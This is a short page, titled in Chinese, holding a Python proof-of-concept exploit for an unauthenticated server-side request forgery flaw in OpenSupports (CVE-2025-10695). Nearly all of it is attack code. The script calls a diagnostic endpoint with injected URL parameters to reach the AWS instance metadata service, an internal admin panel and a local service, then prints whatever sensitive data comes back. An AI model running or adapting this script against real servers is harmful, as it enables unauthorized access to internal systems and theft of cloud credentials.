CVE-2025-10695 OpenSupports未授权SSRF漏洞

# CVE-2025-10695 - OpenSupports SSRF PoC # Unauthenticated SSRF via diagnostic endpoints import requests TARGET = "http://target-opensupports-server.com" # Replace with the actual diagnostic endpoint path discovered in OpenSupports DIAGNOSTIC_ENDPOINT = "/api/diagnostic/connect" # example path # Internal target for SSRF (e.g., internal network scan or metadata service) INTERNAL_TARGET = "http://169.254.169.254/latest/meta-data/" # AWS metadata # INTERNAL_TARGET = "http://192.168.1.1/admin" # Internal admin panel # INTERNAL_TARGET = "http://127.0.0.1:8080/internal-api" # Local service def exploit_ssrf(target_url, internal_url): """ Exploit unauthenticated SSRF in OpenSupports diagnostic endpoint. The endpoint accepts a URL parameter and triggers a backend request. """ url = f"{target_url}{DIAGNOSTIC_ENDPOINT}" params = { "url": internal_url, "host": internal_url, "address": internal_url, } try: # No authentication required - permission => 'any' response = requests.get(url, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body:\n{response.text[:2000]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-10695 - OpenSupports Unauthenticated SSRF") print(f"[*] Target: {TARGET}") print(f"[*] Internal Target: {INTERNAL_TARGET}") result = exploit_ssrf(TARGET, INTERNAL_TARGET) if result and "meta-data" in result.lower(): print("[+] SSRF successful! Cloud metadata accessible.") elif result: print("[+] SSRF request completed. Check response for sensitive data.")